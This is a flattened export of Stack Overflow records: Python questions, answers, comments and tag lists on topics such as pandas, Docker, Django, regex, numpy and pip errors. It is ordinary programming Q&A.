http://stackoverflow.com/a/47302554
type: Answer
answers question: http://stackoverflow.com/q/47302383
accepted answer of: http://stackoverflow.com/q/47302383
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/81556456
has comment: http://stackoverflow.com/comment/81556309
has comment: http://stackoverflow.com/comment/81555920
has body: This should work. WHERE DATE_FORMAT(UPLOAD_TIME,'%Y-%m-%d')='2017-11-14' Link from comment: https://dev.mysql.com/doc/refman/5.5/en/date-and-time-functions.html#function_curdate
has comment: http://stackoverflow.com/comment/81556172
score: 1

http://stackoverflow.com/comment/81694729
comment on: http://stackoverflow.com/a/47370975
has text: @cᴏʟᴅsᴘᴇᴇᴅ interesting approach, actually the length study solves the matter :) interesting whether the colleagues above finished a lively discussion :) I will not be bothering them: D
type: Comment
score: 0
type: AnswerComment

python-2.7
tags question: http://stackoverflow.com/q/47238768
tags question: http://stackoverflow.com/q/47362763
tags question: http://stackoverflow.com/q/47376653
tags question: http://stackoverflow.com/q/47343007
tags question: http://stackoverflow.com/q/47303608
tags question: http://stackoverflow.com/q/47375318
tags question: http://stackoverflow.com/q/47244439
tags question: http://stackoverflow.com/q/47283662
tags question: http://stackoverflow.com/q/47240809
tags question: http://stackoverflow.com/q/47339654
tags question: http://stackoverflow.com/q/47318438
tags question: http://stackoverflow.com/q/47345303
tags question: http://stackoverflow.com/q/47270371
tags question: http://stackoverflow.com/q/47265105
tags question: http://stackoverflow.com/q/47274866
tags question: http://stackoverflow.com/q/47323323
tags question: http://stackoverflow.com/q/47322054
tags question: http://stackoverflow.com/q/47240738
tags question: http://stackoverflow.com/q/47240626
tags question: http://stackoverflow.com/q/47368136
tags question: http://stackoverflow.com/q/47343126
tags question: http://stackoverflow.com/q/47345935
tags question: http://stackoverflow.com/q/47341988
tags question: http://stackoverflow.com/q/47342645
tags question: http://stackoverflow.com/q/47269573
tags question: http://stackoverflow.com/q/47382070
tags question: http://stackoverflow.com/q/47339561
tags question: http://stackoverflow.com/q/47380733
tags question: http://stackoverflow.com/q/47341672
tags question: http://stackoverflow.com/q/47371515
tags question: http://stackoverflow.com/q/47363893
tags question: http://stackoverflow.com/q/47321145
tags question: http://stackoverflow.com/q/47305826
tags question: http://stackoverflow.com/q/47296513
tags question: http://stackoverflow.com/q/47321027
tags question: http://stackoverflow.com/q/47224207
tags question: http://stackoverflow.com/q/47239393
tags question: http://stackoverflow.com/q/47304924
tags question: http://stackoverflow.com/q/47375456
tags question: http://stackoverflow.com/q/47301667
tags question: http://stackoverflow.com/q/47342907
tags question: http://stackoverflow.com/q/47376325
tags question: http://stackoverflow.com/q/47241107
tags question: http://stackoverflow.com/q/47361578
tags question: http://stackoverflow.com/q/47357635
type: Tag
tags question: http://stackoverflow.com/q/47368979
tags question: http://stackoverflow.com/q/47259102
tags question: http://stackoverflow.com/q/47324895
tags question: http://stackoverflow.com/q/47341762
tags question: http://stackoverflow.com/q/47237407
tags question: http://stackoverflow.com/q/47315679
tags question: http://stackoverflow.com/q/47314123
tags question: http://stackoverflow.com/q/47315694
tags question: http://stackoverflow.com/q/47286828
tags question: http://stackoverflow.com/q/47234269
tags question: http://stackoverflow.com/q/47246228
tags question: http://stackoverflow.com/q/47377212
tags question: http://stackoverflow.com/q/47310264
tags question: http://stackoverflow.com/q/47374476
tags question: http://stackoverflow.com/q/47362736
tags question: http://stackoverflow.com/q/47327946
tags question: http://stackoverflow.com/q/47242814
tags question: http://stackoverflow.com/q/47297542
tags question: http://stackoverflow.com/q/47247644
tags question: http://stackoverflow.com/q/47224965
tags question: http://stackoverflow.com/q/47336672
tags question: http://stackoverflow.com/q/47284186
tags question: http://stackoverflow.com/q/47233344
tags question: http://stackoverflow.com/q/47372607
tags question: http://stackoverflow.com/q/47378649
tags question: http://stackoverflow.com/q/47263294
tags question: http://stackoverflow.com/q/47224567
tags question: http://stackoverflow.com/q/47268325
tags question: http://stackoverflow.com/q/47347117
tags question: http://stackoverflow.com/q/47342764
tags question: http://stackoverflow.com/q/47322262
tags question: http://stackoverflow.com/q/47363759
tags question: http://stackoverflow.com/q/47306526
tags question: http://stackoverflow.com/q/47335100

http://stackoverflow.com/q/47300651
has title: Python input validation?
has body: I have a simple input validation code asking the user for either ACT or SAT. test=input("Are you taking SAT or ACT?..") while test!=("SAT" or "ACT"): print("error") test=input("Are you taking SAT or ACT?..") It seems to work correctly for "SAT" which is in front on line 2, but not ACT! When I type in ACT in the module it will print "error" like it was false. What is my flaw here? Logic? Syntax? Semantic? What can I do to fix it? Thank you.
accepted answer: http://stackoverflow.com/a/47300747
has answer: http://stackoverflow.com/a/47300747
possible better answer: http://stackoverflow.com/a/47300785
type: AnsweredQuestion
score: 0
answer count: 3
tagged with: python
tagged with: user-input
type: Question
has answer: http://stackoverflow.com/a/47300785
has answer: http://stackoverflow.com/a/47302012

http://stackoverflow.com/q/47316394
type: AnsweredQuestion
has title: Getting correct counts from Pandas Groupby
score: 0
answer count: 2
tagged with: pandas-groupby
tagged with: pandas
has answer: http://stackoverflow.com/a/47316463
accepted answer: http://stackoverflow.com/a/47316463
has answer: http://stackoverflow.com/a/47316608
possible better answer: http://stackoverflow.com/a/47316608
type: Question
has body: I have a Pandas DataFrame with the following: Name | Attended Smith | Y Smith | Y Smith | N Adams | N Adams | Y Morgan | Y Morgan | Y and I'd like to count the number of Y's and Ns for each Name. so the output would be: Name | Attended| Count Smith | Y | 2 | N | 1 Adams | Y | 1 | N | 1 Morgan| Y | 3 | N | 0 I tried df.groupby(["Name","Attended"]).count() and variations of it, but for some reason I don't get the right output. I get either the Name and simply the count (Smith 3, Adam 2, Morgan 3) or the same dataframe again. Help! Am I grouping by incorrectly? I looked for awhile over similar questions and my code matches with the answers there. I'm using Python 3 and jupyter notebook.
tagged with: python

http://stackoverflow.com/q/47335217
upvote count: 5
tagged with: python
has answer: http://stackoverflow.com/a/68863883
score: 5
answer count: 3
tagged with: google-cloud-platform
has answer: http://stackoverflow.com/a/47335435
type: UnansweredQuestion
downvote count: 0
has title: google.auth.exceptions.DefaultCredentialsError - not a valid json file
has comment: http://stackoverflow.com/comment/123783831
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47335424
has body: I'mt trying to use goole vision api but i can't run my python script without getting the following error: google.auth.exceptions.DefaultCredentialsError: ('File /root/GoogleCloudStaff/apikey.json is not a valid json file.', ValueError('Invalid control character at: line 5 column 37 (char 172)',)) My python script: import io from google.cloud import vision vision_client = vision.Client() #file_name = "/var/www/FlaskApp/FlaskApp/static/"#'375px-Guido_van_Rossum_OSCON_2006_cropped.png' file_name = '1200px-Guido_van_Rossum_OSCON_2006.jpg' #file_name = "/var/www/FlaskApp/FlaskApp/static/cyou_pic_folders/cyou_folder_2017_11_16_10_26_18/pi_pic_lc_2017_11_16_10_26_1800049.png" with io.open(file_name, 'rb') as image_file: content = image_file.read() image = vision_client.image( content=content, ) labels = image.detect_labels() for label in labels: print(label.description) Thanks very much!

http://stackoverflow.com/q/47359905
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81673011
has answer: http://stackoverflow.com/a/47398304
type: UnansweredQuestion
has title: Hit ctrl-c during a pip install of spacy, now getting error when attempt to install again
tagged with: python
has body: I am trying to install spacy. I am on CentOS Linux !pip install -U spacy in a jupyter notebook and everything was working fine. During the installation, I realized I intended to include the --user command since I intended to install for my user only, so I hit ctrl-c. At this point the installation is incomplete. Trying to install the package again with pip is now giving me an error, regardless of whether I include the --user flag. I think the error, below, is related to the incomplete build. Does anyone know how to fix this? Collecting spacy Exception: Traceback (most recent call last): File "/opt/anaconda2/lib/python2.7/site-packages/pip/basecommand.py", line 215, in main status = self.run(options, args) File "/opt/anaconda2/lib/python2.7/site-packages/pip/commands/install.py", line 335, in run wb.build(autobuilding=True) File "/opt/anaconda2/lib/python2.7/site-packages/pip/wheel.py", line 749, in build self.requirement_set.prepare_files(self.finder) File "/opt/anaconda2/lib/python2.7/site-packages/pip/req/req_set.py", line 380, in prepare_files ignore_dependencies=self.ignore_dependencies)) File "/opt/anaconda2/lib/python2.7/site-packages/pip/req/req_set.py", line 620, in _prepare_file session=self.session, hashes=hashes) File "/opt/anaconda2/lib/python2.7/site-packages/pip/download.py", line 809, in unpack_url unpack_file_url(link, location, download_dir, hashes=hashes) File "/opt/anaconda2/lib/python2.7/site-packages/pip/download.py", line 715, in unpack_file_url unpack_file(from_path, location, content_type, link) File "/opt/anaconda2/lib/python2.7/site-packages/pip/utils/__init__.py", line 599, in unpack_file flatten=not filename.endswith('.whl') File "/opt/anaconda2/lib/python2.7/site-packages/pip/utils/__init__.py", line 484, in unzip_file zip = zipfile.ZipFile(zipfp, allowZip64=True) File "/opt/anaconda2/lib/python2.7/zipfile.py", line 770, in __init__ self._RealGetContents() File "/opt/anaconda2/lib/python2.7/zipfile.py", line 811, in _ RealGetContents rai…
tagged with: spacy
has comment: http://stackoverflow.com/comment/81672784
answer count: 1
downvote count: 0
upvote count: 1
tagged with: pip
score: 1
has comment: http://stackoverflow.com/comment/81673717
has comment: http://stackoverflow.com/comment/81673168

http://stackoverflow.com/a/69216727
score: 0
type: Answer
has body: In your settings.py, set ALLOWED_HOSTS = ['*'] Then run: python manage.py runserver 0.0.0.0:8000 Now make sure your machine firewall allows incoming and outgoing traffic. I use a Linux machine, so from control center go to firewall and allow both incoming and outgoing traffic. Finally, on your local network machine, in the browser, type: &lt;&lt;your host pc IP address:8000 This is it! It worked for me.
answers question: http://stackoverflow.com/q/47294630

http://stackoverflow.com/q/47270587
has answer: http://stackoverflow.com/a/49566814
downvote count: 0
tagged with: django
has comment: http://stackoverflow.com/comment/81492283
tagged with: dockerfile
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47270901
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/47271297
has answer: http://stackoverflow.com/a/47270901
tagged with: docker-compose
has title: Dockerize existing Django project
score: 10
has body: I can't wrap my head around how to dockerize existing Django app. I've read this official manual by Docker explaining how to create Django project during the creation of Docker image, but what I need is to dockerize existing project using the same method. The main purpose of this approach is that I have no need to build docker images locally all the time, instead what I want to achieve is to push my code to a remote repository which has docker-hub watcher attached to it and as soon as the code base is updated it's being built automatically on the server. For now my Dockerfile looks like: FROM python:3 ENV PYTHONUNBUFFERED 1 RUN mkdir /code WORKDIR /code ADD requirements.txt /code/ RUN pip install Django RUN pip install djangorestframework RUN pip install PyQRCode ADD . /code/ Can anyone please explain how should I compose Dockerfile and do I need to use docker-compose.yml (if yes: how?) to achieve functionality I've described? Solution for this question: FROM python:3 ENV PYTHONUNBUFFERED 1 RUN mkdir /code WORKDIR /code RUN pip install *name of package* RUN pip install *name of another package* ADD . /code/ EXPOSE 8000 CMD python3 manage.py runserver 0.0.0.0:8000 OR FROM python:3 ENV PYTHONUNBUFFERED 1 RUN mkdir /code WORKDIR /code ADD requirements.txt /code/ RUN pip install -r requirements.txt ADD . /code/ EXPOSE 8000 CMD python3 manage.py runserver 0.0.0.0:8000 requirements.txt should be a plain list of packages, for example: Django==1.11 djangorestframework pyqrcode pypng
tagged with: python
upvote count: 10
tagged with: docker
answer count: 3
has comment: http://stackoverflow.com/comment/81492167
has answer: http://stackoverflow.com/a/47271297

http://stackoverflow.com/q/47317588
tagged with: class
duplicate of: http://stackoverflow.com/q/13900515
answer count: 0
has body: I'm unclear on the namespace of the class name inside the class. Here is an example: class SomeClass(): some_class_attribute = SomeClass.create_attribute() @classmethod def create_attribute(cls, int): return str(int) Is there any problem with the line some_class_attribute = SomeClass.create_attribute()? When I'm writing a class in Spyder IDE, the class works, but Spyder displays a warning "Undefined name SomeClass".
score: 1
downvote count: 0
tagged with: methods
has title: Namespace of class in python
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81589323
has comment: http://stackoverflow.com/comment/81589085
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81589238
has comment: http://stackoverflow.com/comment/81586758
has comment: http://stackoverflow.com/comment/81586890
upvote count: 1
tagged with: python
linked to: http://stackoverflow.com/q/13900515
tagged with: namespaces

http://stackoverflow.com/comment/81579656
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47307561
has text: PS: is there no package manager application on SL7? It's a long time since I used a linux distro that used rpms (15 years ago maybe), but I seem to remember graphical package managers that had adequate search facilities. The first thing I would have done in a situation like this, was search for "pyqt" and "sip" and see what packages were available.
score: 0

http://stackoverflow.com/a/47499135
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/47250080
has body: Try: conda install nomkl The same issue is discussed in another post: SGDClassifier kernel dies when using scikit. The author of the question provides a link to the original error discussion as well: Issue #5046 of scikit-learn, build with anaconda/MKL.
type: Answer
score: 2

http://stackoverflow.com/comment/81657800
has text: What do you mean "from everywhere"? Like, would you like these addresses to have no CORS headers, or different CORS headers?
score: 0
comment on: http://stackoverflow.com/q/47352696
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47377617
has body: I'm looking for a way to get the battery level in EV using OBD2 dongle, I manage to get the fuel level in Toyota and Ford but I need to get data from the battery management systems (BMS) on EV. I'm using python obd libraries and I have both comma.ai panda and OBDLink-LX dongles. thanks, Avi
upvote count: 1
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47616373
has answer: http://stackoverflow.com/a/47616373
score: 1
tagged with: python
possible better answer: http://stackoverflow.com/a/47472755
favorite count: 0
has answer: http://stackoverflow.com/a/47472755
type: Question
answer count: 2
tagged with: obd-ii
has title: obd2 battery level on electric vehicle
downvote count: 0

euclidean-distance
type: Tag
tag name: euclidean-distance
tags question: http://stackoverflow.com/q/47263165

http://stackoverflow.com/comment/81510878
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47270646
has text: Thank you for your replay @ottomeister, I did not know that. I used '0.0.0.0', and that worked to.

jhipster
tag name: jhipster
tags question: http://stackoverflow.com/q/47309199
type: Tag

http://stackoverflow.com/comment/81603403
comment on: http://stackoverflow.com/q/47326361
score: 1
type: Comment
type: QuestionComment
has text: What is the error that you are getting?

bash
tags question: http://stackoverflow.com/q/47288093
tags question: http://stackoverflow.com/q/47266208
tags question: http://stackoverflow.com/q/47267290
tags question: http://stackoverflow.com/q/47271265
tags question: http://stackoverflow.com/q/47369780
tags question: http://stackoverflow.com/q/47238161
tags question: http://stackoverflow.com/q/47272742
tags question: http://stackoverflow.com/q/47235110
type: Tag
tags question: http://stackoverflow.com/q/47242508
tags question: http://stackoverflow.com/q/47312519
tags question: http://stackoverflow.com/q/47311816
tags question: http://stackoverflow.com/q/47311312
tags question: http://stackoverflow.com/q/47248056
tags question: http://stackoverflow.com/q/47326257
tags question: http://stackoverflow.com/q/47235042
tag name: bash
tags question: http://stackoverflow.com/q/47310850
tags question: http://stackoverflow.com/q/47237373
tags question: http://stackoverflow.com/q/47258602

http://stackoverflow.com/a/47298026
upvote count: 1
type: Answer
accepted answer of: http://stackoverflow.com/q/47296595
answers question: http://stackoverflow.com/q/47296595
has body: What you want to do sounds like something Python's re regular expressions (aka regex) module can handle. You can use it to parse a byte-string (instead of the usual text-string) if you pass it a byte-string to parse and also define your pattern as a byte-string. Note: The easiest way to do that is to use the b string prefix in front of them (not in front of each character, as you're doing in your question). For testing the code coming up I used a file with this in it (sorry, not very imaginative): BEGIN_MSG# Douglas was here. #END_MSG Other stuff in here. BEGIN_MSG# And so was Roger. #END_MSG Then used the module on it with the proper regex pattern like so: import re pattern = rb'BEGIN_MSG#(.+?)#END_MSG' filename = 'bytestream.txt' with open(filename, 'rb') as file: matches = re.findall(pattern, file.read(), flags=re.DOTALL) if not matches: print('No matches found') else: print('Matches:') for i, match in enumerate(matches, 1): print('#{}: {}'.format(i, match)) The output from it looks like this, displaying the list of strings returned from re.findall(): Matches: #1: b'\r\nDouglas was here.\r\n' #2: b'\r\nAnd so\r\nwas Roger.\r\n'
type: AcceptedAnswer
downvote count: 0
score: 1

http://stackoverflow.com/comment/82607247
has text: To be honest, I do not fully understand what the difference between gradient descent and back prop is. Also, does one even use that term when there is no hidden layer? Anyway, for either you have to first calculate the output (so you have to do a forward step) because it is the loss at this point that is then backpropagated (as I understand it by taking partial derivatives with respect to every weight). So there are forward steps also in back prop. HTH
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47369771
type: Comment

http://stackoverflow.com/q/47245372
linked to: http://stackoverflow.com/q/21415661
tagged with: numpy
has comment: http://stackoverflow.com/comment/81441115
has comment: http://stackoverflow.com/comment/81441114
answer count: 0
has title: Pandas vectorized computation with boolean operation
tagged with: pandas
score: 0
duplicate of: http://stackoverflow.com/q/21415661
has body: Consider the following code snippet: &gt;&gt;&gt; import pandas as pd &gt;&gt;&gt; A = pd.DataFrame([[1,2],[3,4],[8,9]]) &gt;&gt;&gt; A["result"] = A[0] % 2 == 0 &gt;&gt;&gt; A 0 1 result 0 1 2 False 1 3 4 False 2 8 9 True So far this is ok. But if I want to do the following, it gives me an error: &gt;&gt;&gt; A["result"] = (A[0] % 2 == 0) and (A[1] % 2 == 1) Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; File "/space/env/anaconda3/lib/python3.6/site-packages/pandas/core/generic.py", line 953, in __nonzero__ .format(self.__class__.__name__)) ValueError: The truth value of a Series is ambiguous. Use a.empty, a.bool(), a.item(), a.any() or a.all(). It seems that, when it comes to vectorized operation in DataFrame, we can not do two operations in one assignment. I'm wondering is there a way to achieve this without 1. manually iterating over the whole dataframe 2. creating two additional columns to store the intermediate value
type: Question
type: UnansweredQuestion
tagged with: dataframe
tagged with: python

http://stackoverflow.com/comment/81468742
has text: but when i use postman its work just fine, in mysql receive the update @IljaEverilä
comment on: http://stackoverflow.com/q/47258970
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/47316568
upvote count: 1
answers question: http://stackoverflow.com/q/47316157
type: Answer
has body: This pattern appears to do the trick: &gt;&gt;&gt; string = """En effet, Revenu Québec avait des motifs raisonnables de croire que ces entreprises avaient utilisé de fausses factures provenant de plusieurs sociétés, dont Asphalte Vrac Transport inc., 9163-6704 Québec inc., Entreprise Denis Dupré inc., Gestion Jean M. Machado inc., Impact Technologie Environnementale inc., Les entreprises Luc Clément inc. et Transport Vrac Globe International inc.""" &gt;&gt;&gt; pattern = r'((?:[A-Z0-9\-]\.?\w*\s?(?:[a-z0-9\-]\w*\s?)?)+ inc\.)' &gt;&gt;&gt; m = re.findall(pattern, string) &gt;&gt;&gt; print('\n'.join(m)) Asphalte Vrac Transport inc. 9163-6704 Québec inc. Entreprise Denis Dupré inc. Gestion Jean M. Machado inc. Impact Technologie Environnementale inc. Les entreprises Luc Clément inc. Transport Vrac Globe International inc. Explanation: [A-Z0-9\-] # match an uppercase letter or number or dash \.? # match optional dot \w* # match alpha-numeric chars 0 or more times \s? # match optional white-space (?:[a-z0-9\-]\w*\s?)? # same again except with lowercase letters # the ? means 0 or 1 times inc\. # match ' inc.' (?: ... ) # non-capturing group ( ... ) # capturing group (whole thing) x? # match x optional x* # in this case match x 0 or more times x+ # match x 1 or more times
downvote count: 0
score: 1

http://stackoverflow.com/a/47343692
score: 2
answers question: http://stackoverflow.com/q/47343589
type: Answer
has body: You should not include the list creation in the argument declaration. This is because the line that says def f(i, list1=[]): actually creates a new list when it gets to the []. This happens when the function is created. Each time the function runs, it is re-using that same list object. Think of it in terms of how the program runs, line by line. In effect the def line ends up looking like this when it runs: def f(i, list1=&lt;a-new-list-that-I-just-created&gt;): And each time the function is called, the list1 default value is not a new list, but the list that was created when the function was defined. I believe this is what you want, if you want to avoid this, is: def f(i, list1=None): if not list1: list1=[] list1.append(i) return list1
upvote count: 2
downvote count: 0

http://stackoverflow.com/q/47333449
downvote count: 0
answer count: 1
tagged with: dockerfile
has answer: http://stackoverflow.com/a/48438799
favorite count: 0
tagged with: python-3.x
type: Question
has title: can't install libpulse-dev in Docker
tagged with: python
type: UnansweredQuestion
tagged with: docker
score: 2
upvote count: 2
has body: i'm currently trying to build a docker container and install inside some library i'll be using for machine learning. Here's my Dockerfile: FROM python:3.6-alpine ENV PATH :$PATH ADD . /app WORKDIR /app #Install dependencies RUN echo "===&gt; Installing sudo to emulate normal OS behavior..." RUN apk --update add sudo RUN apk --update add libxml2-dev libxslt-dev RUN apk --update add python py-pip openssl ca-certificates RUN apk --update add --virtual build-dependencies python3-dev libffi- dev openssl-dev build-base gfortran RUN apk --update add libpulse-dev RUN apk --update add py-pip jpeg-dev zlib-dev RUN apk --update add swig RUN apk --update add sshpass openssh-client rsync #Install python package + requirements.txt RUN pip install --upgrade pip RUN pip install -r requirements.txt CMD ["python", "import_emails.py"] i got some issue with libpulse-dev, which i need to have in order to install the Pockersphinx lib here's my TraceBack: Sending build context to Docker daemon 43.12MB Step 1/17 : FROM python:3.6-alpine ---&gt; a6beab4fa70b ---&gt; Using cache ---&gt; 3ad8815438e3 Step 3/17 : ENV PATH :$PATH ---&gt; Using cache ---&gt; 5b193bb0782c Step 4/17 : ADD . /app ---&gt; Using cache ---&gt; d68569825af4 Step 5/17 : WORKDIR /app ---&gt; Using cache ---&gt; eb6cad48bc0d Step 6/17 : RUN echo "===&gt; Installing sudo to emulate normal OS behavior..." ---&gt; Using cache ---&gt; cd3b9a162fdd Step 7/17 : RUN apk --update add sudo ---&gt; Using cache ---&gt; 29c02ac6379d Step 8/17 : RUN apk --update add libxml2-dev libxslt-dev ---&gt; Using cache ---&gt; 484e19727ba8 Step 9/17 : RUN apk --update add python py-pip openssl ca-certificates ---&gt; Using cache ---&gt; 4f8b2f211bbe Step 10/17 : RUN apk --update add --virtual build-dependencies python3-dev libffi-dev openssl-dev build-base gfortran ---&gt; Using cache ---&gt; acffb3024164 Step 11/17 : RUN apk --update add libpulse-dev ---&gt; Running in 2f381aef57d1 fetch http://dl- cdn.alpinelinux.org/alpine/v3.4/main/x86_64/A…

http://stackoverflow.com/q/47250967
answer count: 1
tagged with: python
has body: I wrote a very ugly script in order to parse some rows of latex in python and doing string substitution. I'm here because I'm want to write something to be proud of, and learn :P More specifically, I'd like to change: \ket{(.*)} into |(.*)\rangle \bra{(.*)} into \langle(*)| To this end, I wrote a very very ugly script. The intended use is to do a thing like this: cat file.tex | python script.py &gt; new_file.tex So what I did is the following. It's working, but is not nice at all and I'm wondering if you could give me a suggestion, even a link to the right command to use is ok. Note that I do recursion because when I have found the first "\ket{" i know that I want to replace the first occuring "}" (i.e. I'm sure there are no other subcommands within "\ket{"). But again, it's not the right way of parsing latex. def recursion_ket(string_input, string_output=""): match = re.search("\ket{", string_input) if not match: return string_input else: string_output = re.sub(r"\\ket{", '|', string_input, 1) string_output_second =re.sub(r"}", "\rangle", stringa_output.split('|', 1)[1], 1) string_output = string_output.split('|', 1)[0]+string_output_second string_output=recursion_ket(string_output, string_output) return string_output if __name__ == '__main__': with open(sys.argv[1]) as f: content=f.readlines() new=[] for line in content: new.append(ricorsione_ket(line)) z=open(sys.argv[2], 'w') for i in new: z.write(i.replace("\r", '\\r').replace("\b", '\\b')) z.write("") Which I know is very ugly. And it's definitely not the right way of doing it. Probably it's because I come from perl, and I'm not used to python regexp. First problem: is it possible to use regexp to substitute just the "border" of a matching string, and leave the inside as it is? I want to leave the content of \command{xxx} as it is. Second problem: the \r. Apparently, when I try to print on the terminal or in a file each string, I need to make sure \r is not interpreted as carriage return. I have tried to use t…
score: 0
tagged with: parsing
type: Question
has answer: http://stackoverflow.com/a/50149523
tagged with: latex
has title: Latex command substitution using regexp in python
has comment: http://stackoverflow.com/comment/87321635
type: UnansweredQuestion

http://stackoverflow.com/comment/81689574
type: QuestionComment
has text: Reboot the computer and try again
comment on: http://stackoverflow.com/q/47363457
score: 0
type: Comment

http://stackoverflow.com/a/47363942
has comment: http://stackoverflow.com/comment/81692787
has comment: http://stackoverflow.com/comment/81692608
has body: When doing arr3[0:3,1], you are taking element from 0:3 in the first axis and then for each of those, taking the first element. This gives a different result to taking the 0:3 in the first axis with arr3[0:3] and then taking the first array from this axis. So in this case, the 0:3 part does nothing in either case as the array's shape is (3, 4, 3) so taking the first 3 just gives you back the same array. This does absolutely nothing in the second case, but in the first case, it does serve as essentially a place holder so that you can access the second axis, but for that you should just use a colon so: [:, some_index]. See how its the same array? &gt;&gt;&gt; arr3[0:3] array([[[1, 2, 3], [1, 2, 3], [1, 2, 3], [1, 2, 3]], [[2, 2, 3], [4, 2, 3], [4, 2, 2], [2, 2, 2]], [[1, 1, 1], [1, 1, 1], [1, 1, 1], [1, 1, 1]]]) But then when you do arr3[:, 1] you are taking the second element from the second axis of the array so that will give you: array([[1, 2, 3], [4, 2, 3], [1, 1, 1]]) whereas in the other case, you are taking the second element from the first axis of the array` so: array([[2, 2, 3], [4, 2, 3], [4, 2, 2], [2, 2, 2]]) To read further about numpy indexing, take a look at this page on scipy. Take note of this specific description which applies directly to your problem: When there is at least one slice (:), ellipsis (...) or np.newaxis in the index (or the array has more dimensions than there are advanced indexes), then the behaviour can be more complicated. It is like concatenating the indexing result for each advanced index element
accepted answer of: http://stackoverflow.com/q/47363894
has comment: http://stackoverflow.com/comment/81692809
answers question: http://stackoverflow.com/q/47363894
type: Answer
upvote count: 3
score: 3
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/a/47300039
has comment: http://stackoverflow.com/comment/81556450
type: Answer
answers question: http://stackoverflow.com/q/47295748
score: 0
has body: This is the source https://documen.tician.de/pycuda/tutorial.html?highlight=getbuffer class DoubleOpStruct: mem_size = 8 + numpy.intp(0).nbytes def __init__(self, array, struct_arr_ptr): self.data = cuda.to_device(array) self.shape, self.dtype = array.shape, array.dtype cuda.memcpy_htod(int(struct_arr_ptr), numpy.getbuffer(numpy.int32(array.size))) cuda.memcpy_htod(int(struct_arr_ptr) + 8, numpy.getbuffer(numpy.intp(int(self.data)))) def __str__(self): return str(cuda.from_device(self.data, self.shape, self.dtype)) array1 = DoubleOpStruct(numpy.array([1, 2, 3], dtype=numpy.float32), struct_arr) array2 = DoubleOpStruct(numpy.array([0, 4], dtype=numpy.float32), do2_ptr) print("original arrays", array1, array2) While the inputs to the class at np.float32, it isn't obvious what cuda.to_device returns. It can't be an array, otherwise int(self.data) wouldn't work. (and contrary to my first read of your question self.data is not the data buffer of self. It may be related but it isn't a buffer object). So the expression must be doing something like: &gt;&gt;&gt; np.intp(2432353) 2432353 &gt;&gt;&gt; np.getbuffer(np.intp(2432353)) &lt;read-only buffer for 0xb74d1150, size -1, offset 0 at 0xb71dfba0&gt; &gt;&gt;&gt; np.arange(4.).data &lt;read-write buffer for 0xb71dda98, size 32, offset 0 at 0xb71df1c0&gt; cuda.to_device maybe generating a number like the 'data' value of __array_interface__: &gt;&gt;&gt; np.arange(4.).__array_interface__['data'] (148454560, False) &gt;&gt;&gt; np.arange(4.).__array_interface__['data'][0] 148454560 &gt;&gt;&gt; np.getbuffer(np.intp(int(_))) &lt;read-only buffer for 0xb74d1150, size -1, offset 0 at 0xb3a0c800&gt; (as a side note, np.getbuffer does not exist in Py3 versions of numpy). In any case I don't see any datatype games here.

http://stackoverflow.com/a/47346151
score: 0
answers question: http://stackoverflow.com/q/47345432
type: Answer
has body: The error 'chrome' executable needs to be in PATH says it all. Probable reasons are : Google Chrome was not installed at the default location. Actual Chrome Browser Binary path doesn't matches as set within Environmental Variables Solution : Ensure actual Chrome Browser Binary path matches with the settings within Environmental Variables Uninstall Chrome Browser completely through Revo Uninstaller and ensure Registry Entries related to Chrome are deleted. Install Chrome Browser. Execute your Test.

http://stackoverflow.com/comment/89419328
has text: This worked perfectly for me. I had to get my env name with 'which python' while in my pipenv shell
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47296960

http://stackoverflow.com/comment/81476438
type: QuestionComment
has text: Does logging of Flask application show the request made it? What are the form of the routes in the Flask application? Do they include ``/ldpdfend`` in them?
score: 0
comment on: http://stackoverflow.com/q/47251589
type: Comment

http://stackoverflow.com/q/47339431
type: Question
has comment: http://stackoverflow.com/comment/81631797
type: UnansweredQuestion
answer count: 1
has comment: http://stackoverflow.com/comment/81631374
tagged with: django
has title: Django - new style middleware process_response
score: 0
has comment: http://stackoverflow.com/comment/81634060
tagged with: python
has comment: http://stackoverflow.com/comment/81633998
has body: I'm using the new style middleware in Django, and for some reason, it never gets to the 'process_response' part. If I understand correctly, it should occur after the response = self.get_response(request) in __call__ function. But it never gets to the code beyond that line. What could be the reason? This is how my middleware is defined: class GlobalThreadVarMiddleware(object): _threadmap = {} def __init__(self, get_response): self.get_response = get_response def __call__(self, request): # Code to be executed for each request before # the view (and later middleware) are called. self._threadmap[_thread.get_ident()] = {} self._threadmap[_thread.get_ident()]['data_manager'] = DataManager() response = self.get_response(request) # Code to be executed for each request/response after # the view is called. current_data_manager = self.get_current_data_manager() current_data_manager.trigger_events() del self._threadmap[_thread.get_ident()]['data_manager'] return response @classmethod def get_current_data_manager(cls): return cls._threadmap[_thread.get_ident()]['data_manager'] I'm using Django 1.10. This is the MIDDLEWARE parameter in settings.py: MIDDLEWARE = [ 'corsheaders.middleware.CorsMiddleware', 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'workflows.api.middleware.ApiCsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'workflows.api.middleware.ExceptionMiddleware', 'workflows.api.global_thread_variables_middleware.GlobalThreadVarMiddleware' ] It's the last one in the list. This is the ExceptionMiddleware code: class ExceptionMiddleware(MiddlewareMixin): def process_exception(self, request, exception): guid, code, error, data, error_status = ExceptionMiddleware.log_exception(request, exception) return JsonResponse( { "error_id": …
